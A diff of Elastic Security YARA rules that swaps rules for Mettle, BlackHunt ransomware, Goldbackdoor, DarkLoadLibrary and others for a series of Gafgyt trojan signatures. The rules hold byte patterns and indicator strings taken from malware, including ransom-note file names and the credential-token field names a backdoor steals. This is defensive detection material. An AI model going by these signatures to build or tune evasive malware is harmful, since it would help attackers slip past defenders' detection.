+rule ELASTIC_Linux_Trojan_Gafgyt_5008Aee6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "813b9b6c-946d-46f0-a255-d06ab78347d4"
-		date = "2024-05-06"
-		modified = "2024-05-21"
+		id = "5008aee6-3866-4f0a-89bf-bde740baee5c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mettle.yar#L25-L52"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bb651d974ca3f349858db7b5a86f03a8d47d668294f27e709a823fa11e6963d7"
-		logic_hash = "a6a9cf424bf1ca7985e1c4b14123ed236208ffa3f7c9ffebbdd85765a90bfa54"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L60-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b32cd71fcfda0a2fcddad49d8c5ba8d4d68867b2ff2cb3b49d1a0e358346620c"
+		logic_hash = "538bae17dcf0298e379f656e1dba794b75af6c7448a23253a51994bde9d30524"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6b350abfda820ee4c6e7aa84f732ab4527c454b93ae13363747f024bb8c5e3b4"
+		fingerprint = "6876a6c1333993c4349e459d4d13c11be1b0f78311274c0f778e65d0fabeeaa7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58160,37 +62411,28 @@ rule ELASTIC_Linux_Trojan_Mettle_813B9B6C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$process_set_nonblocking_stdio = { 55 89 E5 53 83 EC 08 E8 ?? ?? ?? ?? 81 C3 3D 32 0D 00 6A 00 6A 03 6A 00 E8 ?? ?? ?? ?? 83 C4 0C 80 CC 08 50 6A 04 6A 00 E8 ?? ?? ?? ?? 83 C4 0C 6A 00 6A 03 6A 01 E8 ?? ?? ?? ?? 83 C4 0C 80 CC 08 50 6A 04 6A 01 E8 }
-		$process_create = { 55 89 E5 57 56 53 81 EC 98 00 00 00 E8 ?? ?? ?? ?? 81 C3 A6 3B 0D 00 89 45 84 89 95 78 FF FF FF 89 4D 80 8B 7D 0C 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 10 40 0F ?? ?? ?? ?? ?? 50 50 68 B4 00 00 00 6A 01 E8 ?? ?? ?? ?? 89 C6 83 C4 10 85 C0 0F ?? ?? ?? ?? ?? F6 47 14 80 74 ?? 6A 00 6A 00 6A 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 89 85 7C FF FF FF }
-		$process_read = { 55 89 E5 57 56 53 83 EC 1C E8 ?? ?? ?? ?? 81 C3 90 30 0D 00 8B 4D 08 8B 7D 0C 8B 75 10 83 C8 FF 85 C9 74 ?? 52 56 57 FF 71 24 89 4D E4 E8 ?? ?? ?? ?? 89 C2 83 C4 10 39 C6 8B 4D E4 76 ?? 50 29 D6 56 01 D7 89 55 E4 57 FF 71 48 E8 ?? ?? ?? ?? 8B 55 E4 01 C2 83 C4 10 89 D0 8D 65 ?? 5B 5E 5F 5D C3 }
-		$file_new = { 83 C4 10 52 52 50 FF 76 0C E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 10 8D 65 ?? 5B 5E 5F 5D C3 }
-		$file_read = { 55 89 E5 53 83 EC 10 E8 ?? ?? ?? ?? 81 C3 41 A7 0D 00 FF 75 08 E8 ?? ?? ?? ?? 50 FF 75 10 6A 01 FF 75 0C E8 ?? ?? ?? ?? 8B 5D FC C9 C3 }
-		$file_seek = { 55 89 E5 53 83 EC 10 E8 ?? ?? ?? ?? 81 C3 C0 A6 0D 00 FF 75 08 E8 ?? ?? ?? ?? 83 C4 0C FF 75 10 FF 75 0C 50 E8 ?? ?? ?? ?? 8B 5D FC C9 C3 }
-		$func_write_audio_file = { 55 89 E5 57 56 53 83 EC 18 E8 ?? ?? ?? ?? 81 C3 D8 23 0D 00 FF 75 08 E8 ?? ?? ?? ?? 89 C6 8B 45 10 03 06 89 06 5A 59 50 FF 76 04 E8 ?? ?? ?? ?? 89 C7 89 46 04 83 C4 10 83 C8 FF 85 FF 74 ?? 2B 7D 10 8B 06 01 F8 89 C7 8B 75 0C 8B 4D 10 F3 ?? 8B 45 10 8D 65 ?? 5B 5E 5F 5D C3 }
-		$func_is_compatible_elf = { 55 89 E5 56 53 E8 ?? ?? ?? ?? 81 C3 CF AB 05 00 8B 55 08 31 C0 81 3A 7F 45 4C 46 75 ?? 80 7A 04 01 75 ?? 0F B6 72 05 83 EC 0C 6A 01 E8 ?? ?? ?? ?? 83 C4 10 48 0F 94 C0 0F B6 C0 40 39 C6 0F 94 C0 0F B6 C0 83 E0 01 8D 65 ?? 5B 5E 5D C3 }
-		$func_stack_setup = { 89 DA 31 C0 8B 0C 86 85 C9 8D 40 ?? 74 ?? 89 0A 83 C2 04 EB ?? C7 02 00 00 00 00 C7 04 83 00 00 00 00 EB ?? 83 EC 0C 53 E8 ?? ?? ?? ?? 83 C4 10 8B 45 DC 89 45 10 8B 45 E0 89 45 0C 89 5D 08 8D 65 ?? 5B 5E 5F 5D }
-		$func_c2_new_struct = { C7 46 14 00 00 00 00 C7 46 10 00 00 00 00 C7 46 18 00 00 00 00 8D 83 ?? ?? ?? ?? 89 46 20 C7 46 24 00 00 00 00 C7 46 28 00 00 00 00 C7 46 2C 00 00 00 00 C7 46 30 00 00 F0 3F 89 76 1C 83 EC 0C 56 E8 }
+		$a = { 50 16 B4 87 58 83 00 21 84 51 FD 13 4E 79 28 57 C3 8B 30 55 }
 
 	condition:
-		2 of ($process*) and 2 of ($file*) and 2 of ($func*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Mettle_78Aead1C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_6321B565 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "78aead1c-7dc2-4db0-a0b8-cccf2d583c67"
-		date = "2024-05-06"
-		modified = "2024-05-21"
+		id = "6321b565-ed25-4bf2-be4f-3ffa0e643085"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mettle.yar#L54-L81"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "864eae4f27648b8a9d9b0eb1894169aa739311cdd02b1435a34881acf7059d58"
-		logic_hash = "d68d37379b8a3a2d242030fd14884781488e9785823aa25fedfdd406748f8039"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L80-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cd48addd392e7912ab15a5464c710055f696990fab564f29f13121e7a5e93730"
+		logic_hash = "ad5c73ab68059101acf2fd8cfb3d676fd1ff58811e1c4b9008c291361ee951b8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bf2b8bd0e12905ab4bed94c70dbd854a482446909ba255fceaee309efd69b835"
+		fingerprint = "c1d286e82426cbf19fc52836ef9a6b88c1f6e144967f43760df93cf1ab497d07"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58198,72 +62440,57 @@ rule ELASTIC_Linux_Trojan_Mettle_78Aead1C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$process_set_nonblocking_stdio = { 48 83 EC 08 31 D2 BE 03 00 00 00 31 FF 31 C0 E8 ?? ?? ?? ?? 80 CC 08 BE 04 00 00 00 31 FF 89 C2 31 C0 E8 ?? ?? ?? ?? 31 D2 BE 03 00 00 00 BF 01 00 00 00 31 C0 E8 ?? ?? ?? ?? 80 CC 08 BE 04 00 00 00 BF 01 00 00 00 89 C2 31 C0 E8 }
-		$process_create = { 41 57 41 56 49 89 CE 41 55 41 54 4D 89 C5 55 53 48 89 FB 48 89 D5 48 81 EC 88 00 00 00 48 8D ?? ?? ?? 48 89 34 24 E8 ?? ?? ?? ?? FF C0 0F ?? ?? ?? ?? ?? BE 20 01 00 00 BF 01 00 00 00 E8 ?? ?? ?? ?? 48 85 C0 49 89 C7 0F ?? ?? ?? ?? ?? 41 F6 45 28 80 74 ?? 48 8D ?? ?? ?? 31 C9 31 D2 31 F6 E8 ?? ?? ?? ?? 85 C0 }
-		$process_read = { 48 85 FF 74 ?? 41 55 41 54 49 89 FD 55 53 48 89 D5 49 89 F4 48 83 EC 08 48 8B 7F 38 E8 ?? ?? ?? ?? 48 39 C5 48 89 C3 76 ?? 49 8B 7D 70 48 89 EA 49 8D ?? ?? 48 29 C2 E8 ?? ?? ?? ?? 48 01 C3 5A 48 89 D8 5B 5D 41 5C 41 5D C3 }
-		$file_new = { 41 54 55 48 89 F5 53 48 89 FB 48 8B 7F 10 BE B2 04 01 00 E8 ?? ?? ?? ?? 48 8B 7B 10 BE B3 04 01 00 49 89 C4 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D ?? ?? ?? ?? ?? 48 89 C6 4C 89 E7 E8 ?? ?? ?? ?? 83 CA FF 48 85 C0 74 ?? 48 89 C6 48 89 EF E8 ?? ?? ?? ?? 31 D2 5B 89 D0 5D 41 5C C3 }
-		$file_read = { 53 48 89 F3 48 83 EC 10 48 89 54 24 08 E8 ?? ?? ?? ?? 48 8B 54 24 08 48 83 C4 10 48 89 DF 5B 48 89 C1 BE 01 00 00 00 E9 }
-		$file_seek = { 48 83 EC 18 48 89 74 24 08 89 54 24 04 E8 ?? ?? ?? ?? 8B 54 24 04 48 8B 74 24 08 48 89 C7 48 83 C4 18 E9 }
-		$func_write_audio_file = { 41 54 55 49 89 F4 53 48 89 D3 E8 ?? ?? ?? ?? 48 8B 30 48 8B 78 08 48 89 C5 48 01 DE 48 89 30 E8 ?? ?? ?? ?? 48 89 C7 48 89 45 08 48 83 C8 FF 48 85 FF 74 ?? 48 8B 45 00 48 29 DF 4C 89 E6 48 89 D9 48 01 F8 48 89 C7 48 89 D8 F3 ?? 5B 5D 41 5C C3 }
-		$func_is_compatible_elf = { 31 C0 81 3F 7F 45 4C 46 75 ?? 80 7F 04 02 75 ?? 53 0F B6 5F 05 BF 01 00 00 00 E8 ?? ?? ?? ?? FF C8 0F 94 C0 0F B6 C0 FF C0 39 C3 0F 94 C0 0F B6 C0 83 E0 01 5B C3 83 E0 01 C3 }
-		$func_stack_setup = { 48 89 EA 31 C0 49 8B 0C C0 48 FF C0 48 85 C9 74 ?? 48 89 0A 48 83 C2 08 EB ?? 48 C7 02 00 00 00 00 48 C7 44 C5 00 00 00 00 00 EB ?? 48 89 EF 4C 89 4C 24 08 E8 ?? ?? ?? ?? 4C 8B 4C 24 08 48 83 C4 10 48 89 DA 48 89 EF 5B 5D 41 5C 4C 89 CE }
-		$func_c2_new_struct = { 48 89 DF 48 C7 43 20 00 00 00 00 C7 43 28 00 00 00 00 48 C7 43 40 00 00 00 00 48 89 43 38 48 8B 05 D1 BE 09 00 48 89 5B 30 48 89 43 48 E8 }
+		$a = { D8 89 D0 01 C0 01 D0 C1 E0 03 8B 04 08 83 E0 1F 0F AB 84 9D 58 FF }
 
 	condition:
-		2 of ($process*) and 2 of ($file*) and 2 of ($func*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Blackhunt_7B46Cb9C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_A6A2Adb9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Blackhunt (Windows.Ransomware.BlackHunt)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "7b46cb9c-4601-4be0-a2de-6a4f27d1a446"
-		date = "2024-03-12"
-		modified = "2024-03-21"
+		id = "a6a2adb9-9d54-42d4-abed-5b30d8062e97"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_BlackHunt.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6c4e968c9b53906ba0e86a41eccdabe2b736238cb126852023e15850e956293d"
-		logic_hash = "97bb8436574fd814d8278e5a7043e011d0e4f9a7dd9df5e67605f28ac1af1e74"
-		score = 50
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L100-L118"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "8f5fc4cb1ad51178701509a44a793e119fe7e7fad97eafcac8be14fce64e3b7b"
+		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e46e2de840bfd557147e686eb00c350d00f6d1c6b2b8d1df98165c73cbe89ba"
+		fingerprint = "cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "#BlackHunt_ReadMe.txt" wide fullword
-		$a2 = "#BlackHunt_Private.key" wide fullword
-		$a3 = "#BlackHunt_ID.txt" wide fullword
-		$a4 = "BLACK_HUNT_MUTEX" ascii fullword
-		$a5 = "BlackKeys" ascii fullword
-		$a6 = "ENCRYPTED VOLUME : %dGB" ascii fullword
-		$a7 = "RUNNING TIME : %02dm:%02ds" ascii fullword
+		$a = { CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00 }
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Banload_D5E1C189 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_C573932B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Banload (Linux.Trojan.Banload)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "d5e1c189-7d19-4f03-a4f3-a0aaf6d499dc"
+		id = "c573932b-9b3f-4ab7-a6b6-32dcc7473790"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Banload.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "48bf0403f777db5da9c6a7eada17ad4ddf471bd73ea6cf02817dd202b49204f4"
-		logic_hash = "3f0bee251152a8c835a3bf71dc33c2e150705713c50ca2cfdbeb69361ed91a09"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L120-L138"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
+		logic_hash = "174a3fcebc1e17cc35ddc11fde1798164b5783fc51fdf16581a9690c3b4d6549"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4aa04f08005b1b7ed941dbfc563737728099e35e3f0f025532921b91b79c967c"
+		fingerprint = "18a3025ebb8af46605970ee8d7d18214854b86200001d576553e102cb71df266"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58271,165 +62498,142 @@ rule ELASTIC_Linux_Trojan_Banload_D5E1C189 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E4 E4 E4 58 88 60 90 E4 E4 E4 E4 68 98 70 A0 E4 E4 E4 E4 78 }
+		$a = { 83 7D 18 00 74 22 8B 45 1C 83 E0 02 85 C0 74 18 83 EC 08 6A 2D FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Backdoor_Goldbackdoor_91902940 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_A10161Ce : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Backdoor Goldbackdoor (Windows.Backdoor.Goldbackdoor)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "91902940-a291-4fc6-81c5-2cde2328e8d9"
-		date = "2022-04-29"
-		modified = "2022-06-09"
+		id = "a10161ce-62e0-4f60-9de7-bd8caf8618be"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Backdoor_Goldbackdoor.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028"
-		logic_hash = "71e26cce6d730560e1303b2a4f49d0da6d1341263bb47ade46338f03e528cbf7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L140-L157"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "12ba13a746300d1ab1d0386b86ec224eebf4e6d0b3688495c2fee6a7eccc361d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "83a404a24e54bd05319d3df3a830f1ffe51d30f71ca55d63ca152d5169511df4"
+		fingerprint = "77e89011a67a539954358118d41ad3dabde0e69bac2bbb2b2da18eaad427d935"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$pdf = "D:\\Development\\GOLD-BACKDOOR\\"
-		$agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3112.113 Safari/537.36"
-		$str0 = "client_id"
-		$str1 = "client_secret"
-		$str2 = "redirect_uri"
-		$str3 = "refresh_token"
-		$a = { 56 57 8B 7D 08 8B F1 6A 00 6A 00 6A 00 6A 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 46 30 85 C0 75 ?? 33 C0 5F 5E }
-		$b = { 66 8B 02 83 C2 02 66 85 C0 75 ?? 2B D1 D1 FA 75 ?? 33 C0 E9 ?? ?? ?? ?? 6A 40 8D 45 ?? 6A 00 50 E8 }
+		$a = { 45 B0 8B 45 BC 48 63 D0 48 89 D0 48 C1 E0 02 48 8D 14 10 48 8B }
 
 	condition:
-		($pdf and $agent) or ( all of ($str*) and $a and $b)
+		all of them
 }
-rule ELASTIC_Windows_Backdoor_Goldbackdoor_F11D57Df : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Ae01D978 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Backdoor Goldbackdoor (Windows.Backdoor.Goldbackdoor)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "f11d57df-8dd4-481c-a557-f83ae05d53fe"
-		date = "2022-04-29"
-		modified = "2022-06-09"
+		id = "ae01d978-d07d-4813-a22b-5d172c477d08"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Backdoor_Goldbackdoor.yar#L28-L51"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45ece107409194f5f1ec2fbd902d041f055a914e664f8ed2aa1f90e223339039"
-		logic_hash = "6401b215523289a3842dec6d3e016a2ca99512c5889e87cb5ff13023bb0b8e1e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L159-L176"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c6c22b11dc1f0d4996e5da92c6edf58b7d21d7be40da87ddd39ed0e2d4c84072"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fed0317d43910d962908604812c2cd1aff6e67f7e245c82b39f2ac6dc14b6edb"
+		fingerprint = "2d937c6009cfd53e11af52482a7418546ae87b047deabcebf3759e257cd89ce1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { C7 45 ?? 64 69 72 25 C7 45 ?? 5C 53 79 73 C7 45 ?? 74 65 6D 33 C7 45 ?? 32 5C 00 00 C7 45 ?? 2A 2E 65 78 C7 45 ?? 65 00 00 00 E8 ?? ?? ?? ?? FF D0 }
-		$b = { B9 18 48 24 9D E8 ?? ?? ?? ?? FF D0 }
-		$c = { B9 F8 92 FA 98 E8 ?? ?? ?? ?? FF D0 }
-		$a1 = { 64 A1 30 00 00 00 53 55 56 }
-		$b1 = { B9 76 DB 7A AA 6A 40 68 00 30 00 00 FF 75 ?? 50 E8 ?? ?? ?? ?? FF D0 }
-		$c1 = { B9 91 51 13 EE 50 68 80 00 00 00 6A 04 50 50 ?? ?? ?? ?? ?? ?? ?? 6A 04 50 E8 ?? ?? ?? ?? FF D0 }
+		$a = { 00 00 2C 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Virus_Staffcounter_D2D608A8 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_9E9530A7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Virus Staffcounter (Linux.Virus.Staffcounter)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "d2d608a8-2d65-4b10-be71-0a0a6a027920"
-		date = "2021-06-28"
+		id = "9e9530a7-ad4d-4a44-b764-437b7621052f"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "06e562b54b7ee2ffee229c2410c9e2c42090e77f6211ce4b9fa26459ff310315"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Virus_Staffcounter.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e30f1312eb1cbbc4faba3f67527a4e0e955b5684a1ba58cdd82a7a0f1ce3d2b9"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L178-L196"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
+		logic_hash = "6a5a80e58c86a80f8954e678a2cc26b258d7d7c50047a3e71f3580f1780e3454"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a791024dc3064ed2e485e5c57d7ab77fc1ec14665c9302b8b572ac4d9d5d2f93"
-		severity = "100"
+		fingerprint = "d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 20 22 00 20 4C 69 6E 75 78 22 20 3C 00 54 6F 3A 20 22 00 20 }
+		$a = { F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Darkloadlibrary_C25Ee4Eb : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_5Bf62Ce4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Darkloadlibrary (Windows.Hacktool.DarkLoadLibrary)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "c25ee4eb-8ea6-40e2-a1a3-ec60491ced03"
-		date = "2022-12-02"
-		modified = "2023-01-11"
+		id = "5bf62ce4-619b-4d46-b221-c5bf552474bb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_DarkLoadLibrary.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5546194a71bc449789c3697f9c106860ac0a21e1ccf2b1196120b3f92f4b5306"
-		logic_hash = "c585abbe72834e9ba2e5f1c8070a43b0f10c2b574c72ffe1def4bfd431096415"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L198-L216"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
+		logic_hash = "848e0c796584cfa21afc182da5f417f5467ae84c74f52cabc13e0f5de4990232"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a73ca4c615d3567c48cc9ec3eedb0497de67960e9610fd1d0ad136075005d10b"
+		fingerprint = "3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "3DDD52BB-803A-40E7-90E4-A879A873DD8B" ascii wide nocase
-		$print_str0 = "LocalLdrGetProcedureAddress: failed to resolve address of: %s" ascii fullword
-		$print_str1 = "Not implemented yet, sorry" wide
-		$print_str2 = "Failed to link module to PEB: %s" ascii wide fullword
-		$print_str3 = "Failed to resolve imports: %s" ascii wide fullword
-		$print_str4 = "Failed to map sections: %s" ascii wide fullword
-		$print_str5 = "Failed to open local DLL file" wide fullword
-		$print_str6 = "Failed to get DLL file size" wide fullword
-		$print_str7 = "Failed to allocate memory for DLL data" wide fullword
-		$print_str8 = "Failed to read data from DLL file" wide fullword
-		$print_str9 = "Failed to close handle on DLL file" wide
+		$a = { 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D }
 
 	condition:
-		$guid or 4 of ($print_str*)
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Babuk_Bd216Cab : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_F3D83A74 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Babuk (Linux.Ransomware.Babuk)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "bd216cab-6532-4a71-9353-8ad692550b97"
-		date = "2024-05-09"
-		modified = "2024-06-12"
+		id = "f3d83a74-2888-435a-9a3c-b7de25084e9a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Babuk.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d305a30017baef4f08cee38a851b57869676e45c66e64bb7cc58d40bf0142fe0"
-		logic_hash = "b0538be9d8deccc3f77640da28e5fd38a07557e9e5e3c09b11349d7eb50a56b5"
